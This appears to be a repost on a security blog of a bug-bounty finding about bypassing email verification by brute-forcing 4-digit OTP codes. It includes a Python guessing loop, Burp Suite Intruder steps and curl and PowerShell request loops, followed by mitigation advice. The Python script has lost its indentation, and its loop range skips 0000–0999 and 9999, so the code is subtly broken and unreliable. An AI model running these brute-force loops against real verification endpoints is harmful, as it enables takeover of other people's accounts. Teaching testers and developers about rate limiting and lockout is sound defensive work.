Email Verification Bypass via OTP Brute Force – Bugcrowd VDP

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Email verification bypass through OTP brute force is a critical vulnerability that can allow attackers to gain unauthorized access to user accounts. This technique exploits weak OTP (One-Time Password) validation mechanisms, enabling attackers to brute-force the code and bypass security checks.

You Should Know:

1. Understanding OTP Brute Force Attack

An OTP brute force attack involves systematically trying all possible combinations of an OTP until the correct one is found. If the system does not enforce rate limiting, lockout mechanisms, or proper validation, attackers can exploit this weakness.

2. Vulnerable Scenarios

  • No Rate Limiting: If the application allows unlimited OTP attempts.
  • Weak OTP Length: Short OTPs (e.g., 4 digits) are easier to brute-force.
  • No Account Lockout: Failure to lock accounts after multiple failed attempts.
  • OTP Reusability: If the same OTP can be used multiple times.

3. Exploitation Steps

Here’s how an attacker might perform an OTP brute force attack:

Automated Brute-Forcing with Python

import requests

target_url = "https://example.com/verify-otp" 
email = "[email protected]"

for otp in range(1000, 9999): 
data = {"email": email, "otp": str(otp).zfill(4)} 
response = requests.post(target_url, data=data) 
if "success" in response.text: 
print(f"[+] OTP Found: {otp}") 
break

Using Burp Suite for OTP Brute Force

  1. Intercept the OTP verification request using Burp Proxy.

2. Send the request to Intruder.

  1. Configure the attack type as Sniper and set the OTP parameter as the payload.
  2. Use a number list (0000-9999) as the payload.
  3. Start the attack and analyze responses for successful verification.

4. Mitigation Techniques

  • Implement Rate Limiting: Restrict OTP attempts (e.g., 3-5 attempts).
  • Enforce Account Lockout: Temporarily lock accounts after multiple failed attempts.
  • Use Stronger OTPs: 6-8 digit alphanumeric OTPs are harder to brute-force.
  • CAPTCHA Protection: Prevent automated attacks.
  • Time-Based Expiry: OTPs should expire after a short duration (e.g., 5 minutes).
    1. Linux & Windows Commands for Security Testing

Linux (Rate Limiting Test with Curl)

for i in {1..10}; do curl -X POST "https://example.com/verify-otp" -d "[email protected]&otp=1234"; done

Windows (Powershell OTP Testing)

1..1000 | ForEach-Object { 
Invoke-WebRequest -Uri "https://example.com/verify-otp" -Method POST -Body @{email="[email protected]";otp="$_"} 
}

What Undercode Say

OTP brute-forcing remains a prevalent attack due to weak security implementations. Developers must enforce strict validation mechanisms, while penetration testers should rigorously test OTP systems for flaws. Automated tools like Burp Suite, Hydra, and custom Python scripts make exploitation easier, so proper security controls are essential.

Prediction

As multi-factor authentication (MFA) adoption grows, attackers will shift to more sophisticated OTP bypass techniques, including phishing, SIM swapping, and API abuse. Companies must stay ahead by implementing advanced security measures like biometric verification and hardware tokens.

Expected Output:

  • A brute-force script successfully guessing a 4-digit OTP.
  • Burp Suite Intruder identifying a valid OTP.
  • Rate limiting blocking further attempts after 5 tries.

References:

Reported By: Raj Dip – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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